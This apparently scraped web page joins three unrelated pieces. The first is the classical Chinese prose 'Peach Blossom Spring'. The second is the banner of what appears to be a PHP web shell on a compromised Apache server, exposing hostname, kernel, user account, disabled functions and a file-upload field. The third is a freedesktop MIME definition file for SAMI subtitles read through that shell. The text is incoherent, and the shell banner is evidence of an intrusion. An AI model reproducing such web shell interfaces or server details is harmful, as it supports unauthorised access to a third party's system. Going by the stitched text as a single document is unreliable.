晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/mime/application/ |
Upload File : |
<?xml version="1.0" encoding="utf-8"?> <mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="application/x-sami"> <!--Created automatically by update-mime-database. DO NOT EDIT!--> <comment>SAMI subtitles</comment> <comment xml:lang="ar">ترجمات SAMI</comment> <comment xml:lang="be@latin">Subtytry SAMI</comment> <comment xml:lang="bg">Субтитри — SAMI</comment> <comment xml:lang="ca">subtítols SAMI</comment> <comment xml:lang="cs">titulky SAMI</comment> <comment xml:lang="da">SAMI-undertekster</comment> <comment xml:lang="de">SAMI-Untertitel</comment> <comment xml:lang="el">Υπότιτλοι SAMI</comment> <comment xml:lang="en_GB">SAMI subtitles</comment> <comment xml:lang="eo">SAMI-subtekstoj</comment> <comment xml:lang="es">subtítulos SAMI</comment> <comment xml:lang="eu">SAMI azpitituluak</comment> <comment xml:lang="fi">SAMI-tekstitykset</comment> <comment xml:lang="fo">SAMI undirtekstir</comment> <comment xml:lang="fr">sous-titres SAMI</comment> <comment xml:lang="ga">fotheidil SAMI</comment> <comment xml:lang="gl">subtítulos SAMI</comment> <comment xml:lang="he">כתוביות SAMI</comment> <comment xml:lang="hr">SAMI podnaslovi</comment> <comment xml:lang="hu">SAMI feliratok</comment> <comment xml:lang="ia">Subtitulos SAMI</comment> <comment xml:lang="id">Subjudul SAMI</comment> <comment xml:lang="it">Sottotitoli SAMI</comment> <comment xml:lang="ja">SAMI 字幕</comment> <comment xml:lang="kk">SAMI субтитрлары</comment> <comment xml:lang="ko">SAMI 자막 파일</comment> <comment xml:lang="lt">SAMI subtitrai</comment> <comment xml:lang="lv">SAMI subtitri</comment> <comment xml:lang="nb">SAMI undertekst</comment> <comment xml:lang="nl">SAMI-ondertitels</comment> <comment xml:lang="nn">SAMI teksting</comment> <comment xml:lang="oc">sostítols SAMI</comment> <comment xml:lang="pl">Napisy SAMI</comment> <comment xml:lang="pt">legendas SAMI</comment> <comment xml:lang="pt_BR">Legendas SAMI</comment> <comment xml:lang="ro">Subtitrări SAMI</comment> <comment xml:lang="ru">Субтитры SAMI</comment> <comment xml:lang="sk">Titulky SAMI</comment> <comment xml:lang="sl">Datoteka podnapisov SAMI</comment> <comment xml:lang="sq">Nëntituj SAMI</comment> <comment xml:lang="sr">САМИ преводи</comment> <comment xml:lang="sv">SAMI-undertexter</comment> <comment xml:lang="tr">SAMI altyazıları</comment> <comment xml:lang="uk">субтитри SAMI</comment> <comment xml:lang="vi">Phụ đề SAMI</comment> <comment xml:lang="zh_CN">SAMI 字幕</comment> <comment xml:lang="zh_TW">SAMI 字幕</comment> <acronym>SAMI</acronym> <expanded-acronym>Synchronized Accessible Media Interchange</expanded-acronym> <sub-class-of type="text/plain"/> <generic-icon name="text-x-generic"/> <glob pattern="*.smi"/> <glob pattern="*.sami"/> </mime-type>